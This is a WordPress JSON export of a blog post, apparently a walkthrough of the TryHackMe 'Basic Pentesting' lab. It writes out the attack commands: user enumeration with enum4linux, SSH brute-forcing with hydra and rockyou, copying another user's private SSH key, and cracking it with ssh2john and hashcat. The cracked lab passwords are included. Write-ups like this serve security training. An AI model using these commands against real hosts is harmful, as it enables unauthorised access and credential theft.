{"id":191,"date":"2023-04-21T20:16:32","date_gmt":"2023-04-21T12:16:32","guid":{"rendered":"https:\/\/zysgmzb.club\/?p=191"},"modified":"2023-04-21T20:16:32","modified_gmt":"2023-04-21T12:16:32","slug":"tryhackme%e9%9d%b6%e5%9c%ba%e8%ae%b0%e5%bd%95-basic-pentesting","status":"publish","type":"post","link":"https:\/\/zysgmzb.club\/index.php\/archives\/191","title":{"rendered":"TryHackMe\u9776\u573a\u8bb0\u5f55&#8211;Basic Pentesting"},"content":{"rendered":"<h1>Basic Pentesting<\/h1>\n<h2>task1<\/h2>\n<p>Deploy the machine and connect to our network<\/p>\n<p>Find the services exposed by the machine        <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic1.imgdb.cn\/item\/6442641f0d2dde5777871d83.jpg\" alt=\"\" \/>                    <\/p>\n<p>What is the name of the hidden directory on the web server(enter name without \/)?<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic1.imgdb.cn\/item\/644266320d2dde577789f344.jpg\" alt=\"\" \/>                 <\/p>\n<pre class=\"prettyprint linenums\" ><code>development<\/code><\/pre>\n<p>User brute-forcing to find the username &amp; password<\/p>\n<p>What is the username?<\/p>\n<pre class=\"prettyprint linenums\" ><code>enum4linux 10.10.252.28 <\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/pic1.imgdb.cn\/item\/64426db90d2dde577796103f.jpg\" alt=\"\" \/><\/p>\n<pre class=\"prettyprint linenums\" ><code>jan<\/code><\/pre>\n<p>What is the password?<\/p>\n<pre class=\"prettyprint linenums\" ><code>hydra -l jan -P .\/webtools\/rockyou.txt 10.10.252.28 ssh<\/code><\/pre>\n<pre class=\"prettyprint linenums\" ><code>[22][ssh] host: 10.10.252.28   login: jan   password: armando<\/code><\/pre>\n<p>What service do you use to access the server(answer in abbreviation in all caps)?<\/p>\n<pre class=\"prettyprint linenums\" ><code>SSH<\/code><\/pre>\n<p>Enumerate the machine to find any vectors for privilege escalation <\/p>\n<p>What is the name of the other user you found(all lower case)?<\/p>\n<pre class=\"prettyprint linenums\" ><code>kay<\/code><\/pre>\n<p>If you have found another user, what can you do with this information?<\/p>\n<p>What is the final password you obtain?<\/p>\n<pre class=\"prettyprint linenums\" ><code>scp jan@10.10.252.28:\/home\/kay\/.ssh\/id_rsa .\/\nssh2john id_rsa &gt; 1.txt\nhashcat -m 22931 1.txt  -a 0 .\/webtools\/rockyou.txt  --force<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/pic1.imgdb.cn\/item\/64427caf0d2dde5777b06218.jpg\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic1.imgdb.cn\/item\/64427e2d0d2dde5777b298e2.jpg\" alt=\"\" \/><\/p>\n<pre class=\"prettyprint linenums\" ><code>heresareallystrongpasswordthatfollowsthepasswordpolicy$$<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Basic Pentesting task1 Deploy the machine and connect to our network Find the services exposed by the machine What is the name of the hidden directory on the web server(enter name without \/)? developm [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-191","post","type-post","status-publish","format-standard","hentry","category-learn"],"_links":{"self":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/191","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/comments?post=191"}],"version-history":[{"count":1,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/191\/revisions"}],"predecessor-version":[{"id":192,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/191\/revisions\/192"}],"wp:attachment":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/media?parent=191"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/categories?post=191"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/tags?post=191"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}